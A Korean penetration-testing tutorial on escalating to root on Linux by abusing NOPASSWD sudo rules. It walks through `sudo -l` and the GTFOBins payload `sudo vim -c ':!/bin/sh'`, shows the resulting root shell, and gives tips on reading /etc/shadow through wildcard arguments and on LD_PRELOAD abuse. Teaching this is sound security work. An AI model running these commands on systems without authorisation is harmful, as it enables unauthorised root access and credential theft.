모의해킹
호스트기반모의해킹_36_리눅스 Sudo 권한 악용
작성자 : Heehyeon Yoo|2025-12-13
# 모의해킹# Post-Exploitation# Linux# Privilege Escalation# Sudo
1. 개요
Sudo(Superuser Do)는 특정 명령어를 루트 권한(또는 다른 사용자 권한)으로 실행할 수 있게 해주는 도구다.
관리자가 편의를 위해 비밀번호 입력 없이(NOPASSWD) 특정 명령어를 루트 권한으로 실행하도록 설정(visudo)하는 경우가 많은데, 이 설정이 쉘 실행이 가능한 프로그램(vim, find, less 등)에 적용되어 있다면 권한 상승 통로가 된다.
2. Sudo 권한 확인
2.1 sudo -l
현재 사용자의 Sudo 권한을 확인하는 가장 기본적이고 중요한 명령어다.
sudo -l
# User low may run the following commands on target:
# (ALL : ALL) NOPASSWD: /usr/bin/vim
- NOPASSWD: 비밀번호 입력 없이 명령어 실행 가능.
- Target:
/usr/bin/vim을 루트 권한으로 실행 가능.
3. GTFOBins를 이용한 공격(Exploitation)
Sudo 악용 또한 바이너리의 기능을 이용해 쉘을 탈취하는 것이므로 GTFOBins를 적극 활용한다.
3.1 타겟 분석(Vim 바이너리)
vim 에디터는 내부적으로 쉘 명령어를 실행할 수 있는 기능(:!)이 있다. 만약 vim을 sudo로 실행할 수 있다면, vim 내부에서 실행하는 쉘도 루트 권한을 갖는다.
- GTFOBins 접속 -> "vim" 검색 -> "Sudo" 항목 클릭.
- 제공된 페이로드 확인:
sudo vim -c ':!/bin/sh'-c: vim 실행 시 수행할 커맨드.:!/bin/sh: 쉘 실행.
3.2 공격 실행(실습)
# 1. 권한 확인
sudo -l
#(root) NOPASSWD: /usr/bin/vim 확인
# 2. Exploit 실행
sudo vim -c ':!/bin/sh'
# 또는 vim 실행 후 ESC -> :!/bin/sh 엔터
# 3. 권한 확인
# whoami
root
- 결과: 복잡한 오버플로우 공격 없이도, 정상적인 기능(Feature)을 악용하여 손쉽게 루트 쉘을 획득했다.
4. SUID vs Sudo 차이점
| 구분 | SUID(SetUID) | Sudo |
|---|---|---|
| 권한 출처 | 파일 자체의 속성(Permissions) | 설정 파일(/etc/sudoers) |
| 실행 주체 | 파일 소유자(User/Group) | 명시된 타겟 사용자(RunAs) |
| 탐지 방법 | find / -perm -4000 | sudo -l |
| 공격 방식 | ./find ...(직접 실행) | sudo find ...(sudo 경유) |
5. 실무 팁
- 와일드카드(*) 주의:
/bin/cat *처럼 인자가 제한되지 않은 경우,/etc/shadow같은 민감 문서를 읽을 수 있다. - LD_PRELOAD:
sudo -l출력 결과에env_keep+=LD_PRELOAD옵션이 보인다면, 악성 공유 라이브러리(so)를 로드하여 즉시 루트 권한을 얻을 수 있다.